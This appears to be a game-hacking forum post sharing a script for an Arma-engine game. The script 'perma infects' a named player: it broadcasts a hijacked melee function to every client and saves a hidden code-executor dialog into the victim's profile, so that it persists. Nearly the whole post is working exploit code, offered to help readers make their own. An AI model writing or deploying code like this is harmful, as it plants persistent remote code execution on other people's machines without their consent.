So Basicly what this Script did was Infecting people with the Bowen Perma infection. But the person didnt have to Replace any Files. This is not working anymore but it may help you make ur own or get you into scripting. Or u may just like reading through it and get to understand Scripting.
Where it says NAMEHERE it should be the person u wanna Infect.
Credits:
Bowen
Lystic
Script:
Code:
/* This was created by Bowen and Modified by Lystic and xCyberxx */
bowenvirus =
{
if (isnil "lystic_cyber_edit") then
{
lystic_cyber_edit = true;
if (name player == "NAMEHERE") then
{
systemchat "Perma Infection Script Executed";
profilenamespace setvariable ["igui_grid_chat_x","closedialog 0;sleep 0.1;createdialog 'rscdisplaynote';sleep 0.2;disableSerialization;ctrlSetText[1600,'Execute'];ctrlSettext[1601,'Clear'];ctrlSetText[1300,'Bowens Script Executer'];buttonSetAction[1600,'_text = (ctrlText 1400);[] spawn compile _text;'];buttonSetAction[1601,'ctrlsetText[1400,''''];'];"];
saveprofilenamespace;
};
};
default_stuff =
{
private["_button","_handled","_action","_range","_delay","_ammo","_item","_config"];
_button = _this select 1;
_ctrl = _this select 5;
_handled = false;
if (dialog) exitWith {false};
if (meleeAttack or (captive player) or (lifeState player == "UNCONSCIOUS")) exitWith {};
_action = "";
_range = 1;
_delay = 0.3;
_ammo = "MeleeDamage";
_item = itemInHands player;
_straightShot = false;
_allowMelee = getNumber(configFile >> "CfgMovesMaleSdr2" >> "states" >> animationState player >> "allowMelee") == 1;
if (!_allowMelee) exitWith {};
meleeAttempt = true;
if (!isNull _item) then
{
_config = configFile >> "cfgVehicles" >> typeOf _item;
if (!isClass (_config >> "melee")) exitWith {};
if (_button != 0) exitWith {};
_range = getNumber(_config >> "melee" >> "range");
_delay = getNumber(_config >> "melee" >> "swingTime");
_action = getText(_config >> "melee" >> "action");
_ammo = getText(_config >> "melee" >> "ammo");
_handled = true;
_straightShot = getNumber(_config >> "melee" >> "useCursor") == 1;
}
else
{
if (_button != 0) exitWith {};
_handled = true;
_ammo = "MeleeFist";
_delay = 0.5;
_straightShot = true;
};
if (_handled) then
{
[_action,[player,_range,_ammo,_delay,_straightShot]] spawn
{
_action = (_this select 0);
while {meleeAttempt} do
{
meleeAttack = true;
_array = (_this select 1);
_ammo = _array select 2;
if (_ammo == "MeleeFist") then
{
meleeAttackType = if (meleeAttackType == 1) then {2} else {1};
_action = format["MeleeAttack%1",meleeAttackType];
};
[player,"action_punch"] call event_saySound;
_array spawn melee_finishAttack;
playerAction [_action,{meleeAttack = false}];
waitUntil {!meleeAttack};
sleep 0.05;
};
};
};
_handled
};
call default_stuff;
};
[] spawn
{
melee_startAttack = bowenvirus;
for "_i" from 0 to 9999 do {
_i publicVariableClient "melee_startAttack";
};
systemchat "done";
};